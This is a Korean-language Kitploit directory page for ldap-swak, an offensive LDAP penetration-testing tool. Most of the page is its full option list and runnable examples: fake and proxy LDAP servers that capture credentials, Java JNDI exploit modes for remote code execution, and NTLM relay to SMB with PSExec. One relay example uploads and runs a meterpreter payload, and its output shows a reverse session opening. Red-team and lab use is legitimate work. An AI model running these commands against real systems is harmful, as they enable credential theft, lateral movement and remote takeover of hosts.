Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ldap-swak — LDAP 스위스 아미 나이프 | Kitploit
도구/GitHubGitHub/syss-research/ldap-swak
ExploitationLateral MovementInformation GatheringPost-ExploitationPenetration TestingRed Teaming
GitHubsyss-research/ldap-swak

ldap-swak

LDAP 스위스 아미 나이프

저장소 보기
53832년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

LDAP 스위스 아미 나이프

다기능 LDAP 서버 유틸리티. 테스트 목적의 LDAP 서버를 빠르게 설정하고, 평문을 가로채거나 NTLM 자격 증명을 전달하기 위한 MitM 프록시를 구성하거나 다양한 Java JNDI/LDAP 클라이언트 취약점을 악용할 수 있습니다.

작성자: Moritz Bechler ([email protected]) 프로젝트 저장소: https://github.com/SySS-Research/ldap-swak

빌드

Maven이 필요합니다.

mvn package verify

-> target/ldap-swak-0.0.5-SNAPSHOT-all.jar

실행

적절한 하위 명령과 옵션으로 JAR 파일을 실행하기만 하면 됩니다:

root@kitploit:~
> java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar 
[...]
LDAP Swiss Army Knife
      --accept-pass=<acceptPass>
                             Accept login using this pass
      --accept-user=<acceptUser>
                             Accept login using this user
      --bind=<bind>          Network address to bind to
      --cert=<certificate>   Certificate file to use (PEM, in conjunction with --key)
      --fakecert-bits=<fakeCertBitsize>
                             RSA keySize when generating private key for fake
                               certificates
                               Default: 2048
      --fakecert-cn=<fakeCertCN>
                             Subject DN to use when creating fake certificates
                               Default: cn=fake
      --fakecert-lifetime=<fakeCertLifetime>
                             Lifetime of fake certificate in days
                               Default: 7
      --fakecert-san=<fakeCertSANs>
                             Fake certificate subject alternative names
      --fakecert-sigalg=<fakeCertSigalg>
                             Signature algorithm to use when generating fake
                               certificates
                               Default: SHA256withRSA
      --fakecert-validfrom=<fakeCertValidFrom>
                             Fake certificate validity start
      --fakecert-validto=<fakeCertValidTo>
                             Fake certificate validity end
      --key=<privateKey>     Private key file to use (PEM, in conjunction with
                               --cert)
      --keystore=<keystore>  Keystore to load key/certificate from
      --keystore-pass=<keystorePass>
                               Default: changeit
      --keystore-type=<keystoreType>
                             Keystore type
                               Default: JKS
      --nostarttls           Disable StartTLS
      --ntlm-relay=<relayServer>
                             Relay intecepted NTLM exchange to SMB server for PSExec
      --psexec-cmd=<psexecCMD>
                             Using the relayed credentials, run system command using
                               PSExec
      --psexec-cmd-log=<psexecCMDLog>
                             Redirect CMD command output to file (filesystem path)
      --psexec-cmd-script-loc=<psexecCMDScriptLoc>
                             SHARE/Path for launcher script file used for output
                               redirection
                               Default: /ADMIN$/Temp/
      --psexec-cmd-script-path=<psexecCMDScriptPath>
                             Local filesystem for launcher script file used for
                               output redirection
                               Default: C:\Windows\Temp\
      --psexec-display-name=<psexecDisplayName>
                             Display name of service used for PSExec
      --psexec-psh-encode    Encode PSExec Powershell Payload
      --psexec-script=<psexecPSHScript>
                             Using the relayed credentials, run Powershell code
                               using PSExec (size limits apply)
      --psexec-script-file=<psexecPSHScriptFile>
                             Using the relayed credentials, run Powershell code from
                               script file using PSExec (size limits apply)
      --psexec-service-name=<psexecServiceName>
                             Name of service used for PSExec
      --relay-read-charset=<readFileCharset>
                             Charset for reading remote files, only relevant when
                               outputting
                               Default: UTF-8
      --relay-read-from=<readFileSource>
                             Using the relayed credentials, read file from this
                               target share/path (SHARE/path/)
      --relay-read-retries=<readFileRetries>
                             Number of retries reading the file, possibly waiting
                               for the command to complete, each 1 second apart
                               Default: 5
      --relay-read-to=<readFileTarget>
                             Local file to store the read file data, leave empty for
                               stdout
      --relay-write-file=<writeFileSource>
                             Using the relayed credentials, write this local file to
                               the server
      --relay-write-to=<writeFileTarget>
                             Using the relayed credentials, write file to this
                               target share/path (SHARE/path/)
      --request-log          Log all requests
      --schemaless           Don't provide any schema
      --server-base-dn=<baseDN>
                             Base DNs to report
      --ssl                  Run a SSL/TLS listener
      --tls-cipher=<tlsCiphers>
                             TLS ciphers to allow
                             see https://docs.oracle.
                               com/javase/9/docs/specs/security/standard-names.html
      --tls-proto=<tlsProtocols>
                             TLS versions to allow (TLS12, TLS11, TLS10, SSLv3,
                               SSLv2}
      --uid-attr=<uidAttrs>  Attributes to extract username from DNs
      --write-creds=<writeCreds>
                             Write intercepted credentials to this file (format:
                               user pass, one per line)
  -h, --help                 Display this help message.
  -p, --port=<port>          Port to bind to (defaults: 389 for normal, 636 for SSL)
  -q, --quiet                Only show warnings and errors
  -v, --verbose              Specify multiple -v options to increase verbosity.
                             For example, `-v -v -v` or `-vvv`
  -V, --version              print version information and exit
Commands:
  fake   Launch fake LDAP server
  proxy  Launch proxy LDAP server
  jndi   Java JNDI Exploits

SSL/TLS/StartTLS 리스너는 다른 인증서가 제공되지 않으면 자체 서명된 인증서를 사용합니다. --tls-cipher 및 --tls-proto를 사용하여 허용되는 암호화 알고리즘을 설정할 수 있습니다. 그러나 레거시 알고리즘을 사용하려면 Java 설치의 java.security.properties 파일을 조정해야 합니다. https://www.java.com/en/configure_crypto.html 참조

하위 명령 - 작동 모드

fake - 가짜 서버

자격 증명을 가로채거나 클라이언트에 일부 데이터를 제공하기만 하면 됩니다.

추가 옵션:

root@kitploit:~
 --load=    LDIF file with data to load
 --schema=  LDIF file containing schema definition
            (if the server is not run --schemaless a basic default schema is applied)
root@kitploit:~
> java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389
12:52:32.484 INFO FakeServer - Starting StartTLS listener on *:1389

> ldapsearch -H ldap://localhost:1389/ -ZZ -x -D cn=test -w test
ldap_bind: Invalid credentials (49)

=> 12:53:35.653 INFO CredentialsOperationInterceptor - Intercepted credentials cn=test:test

proxy - 프록시 서버

모든 요청을 대상 서버 집합으로 전달합니다. 또한 가로챈 자격 증명을 기록합니다.

추가 옵션:

root@kitploit:~
 --server=        Backend servers to connect to
 --proxy-ssl      Connect to backend servers using SSL
 --proxy-starttls Connect to backend servers using StartTLS
 --srv=           Resolve backend server from DNS SRV record
                  (e.g. --srv  _ldap._tcp.dc._msdcs.<AD-Domain>)
root@kitploit:~
> java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar proxy -p 2389 --server localhost:1389
12:54:19.695 INFO ProxyServer - Starting StartTLS proxy on *:2389
> ldapsearch -H ldap://localhost:2389/ -ZZ -x -D cn=foo -w test -b cn=test
ldap_bind: Invalid credentials (49)

=> 12:54:47.230 INFO CredentialsOperationInterceptor - Intercepted credentials cn=foo:test

jndi - Java JNDI 익스플로잇

Java JNDI LDAP 클라이언트를 악용하기 위한 여러 특수 가짜 서버 모드입니다.

Reference

옵션:

root@kitploit:~
--ref-class=     Class to load (ObjectFactory)
--ref-codebase=  URL codebase to load class from

모든 요청에 대해 지정된 클래스패스에서 ObjectFactory를 사용하는 JNDI reference 객체를 반환합니다. JNDI 클라이언트가 lookup() 의미론으로 요청하면 이 클래스가 로드되어 코드 실행이 이루어집니다.

원격 클래스로딩은 기본적으로 Java 11.0.1, 8u191, 7u201 및 6u211부터 비활성화되었습니다 (CVE-2018-3149).

다른 서버/프로토콜로 리디렉션하는 일반 references도 다음 옵션으로 지정할 수 있습니다:

root@kitploit:~
--ref-address=	 Reference address (multiple possible)
--ref-factory=   Factory class to use

Referral

옵션:

root@kitploit:~
--referral=	  URI to return as referral

referral을 따르도록 구성된 JNDI 클라이언트는 rmi: URL을 사용하여 RMI 서비스로 리디렉션될 수 있습니다. 이러한 서비스에 접근하면 역직렬화 공격이 가능해지며, 잘못 구성되었거나 오래된 Java 버전에서는 RMI lookup에서 Reference 객체를 반환하여 RCE를 달성할 수 있습니다. (https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/RMIRefServer.java)

직렬화된 객체

옵션:

root@kitploit:~
--serialized=  File containing serialized data to return

모든 요청에 대해 직렬화된 Java 객체를 반환합니다. JNDI 클라이언트가 lookup() 의미론으로 요청하면 제공된 데이터가 역직렬화됩니다.

NTLM 릴레이

LDAP 서버는 NTLM 교환을 원격 SMB 서버로 전달할 수 있게 해줍니다. 이를 통해 종종 인증 사용자 계정의 권한으로 대상 서버의 파일과 RPC 인터페이스에 접근할 수 있습니다.

대상 서버에 대해 세 가지 기본 작업이 구현되어 있습니다:

  • 파일 읽기
  • 시스템 명령 및 PowerShell 실행 (PSExec/SMBExec)
  • 파일 쓰기

작업 순서는 편리한 쓰기/실행/읽기 방식입니다.

예를 들어, meterpreter 인스턴스를 업로드하고 실행하려면:

root@kitploit:~
java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389 --ntlm-relay 192.168.56.101 --relay-write-file /tmp/test.exe --relay-write-to 'ADMIN$/Temp/foo.exe' --psexec-cmd "C:\\Windows\\Temp\\foo.exe"
10:36:53.789 INFO FakeServer - Starting StartTLS listener on *:1389
10:36:56.278 INFO PassTheHashNTLMSASLBindHandler - Have NTLM login administrator@DESKTOP-L96LL3H
10:36:56.325 INFO PassTheHashRunner - Command line %COMSPEC% /b /c start /b /min C:\Windows\Temp\foo.exe
10:36:56.333 INFO PassTheHashRunner - Service already exists
10:36:56.337 INFO PassTheHashRunner - Recreated service
10:36:56.355 INFO PassTheHashRunner - Service start timeout, expected: this is not an actual service binary


[*] Meterpreter session 4 opened (192.168.56.1:8443 -> 192.168.56.101:49696) at 2019-02-19 10:36:56 +0100

또는 시스템 명령을 실행하고 그 출력을 가져오려면:

root@kitploit:~
java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389 --ntlm-relay 192.168.56.101  --psexec-cmd "net user" --psexec-cmd-log C:\\Windows\\Temp\\test.log --relay-read-from 'ADMIN$/Temp/test.log'
10:39:09.154 INFO FakeServer - Starting StartTLS listener on *:1389
10:39:12.564 INFO PassTheHashNTLMSASLBindHandler - Have NTLM login administrator@DESKTOP-L96LL3H
10:39:12.600 INFO PassTheHashRunner - Command line %COMSPEC% /b /c start /b /min C:\Windows\Temp\launch-1550569151302.cmd
10:39:12.610 INFO PassTheHashRunner - Service already exists
10:39:12.614 INFO PassTheHashRunner - Recreated service
10:39:12.632 INFO PassTheHashRunner - Service start timeout, expected: this is not an actual service binary

User accounts for \\

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest                    
mbechler                 WDAGUtilityAccount       
The command completed with one or more errors.
도구 다운로드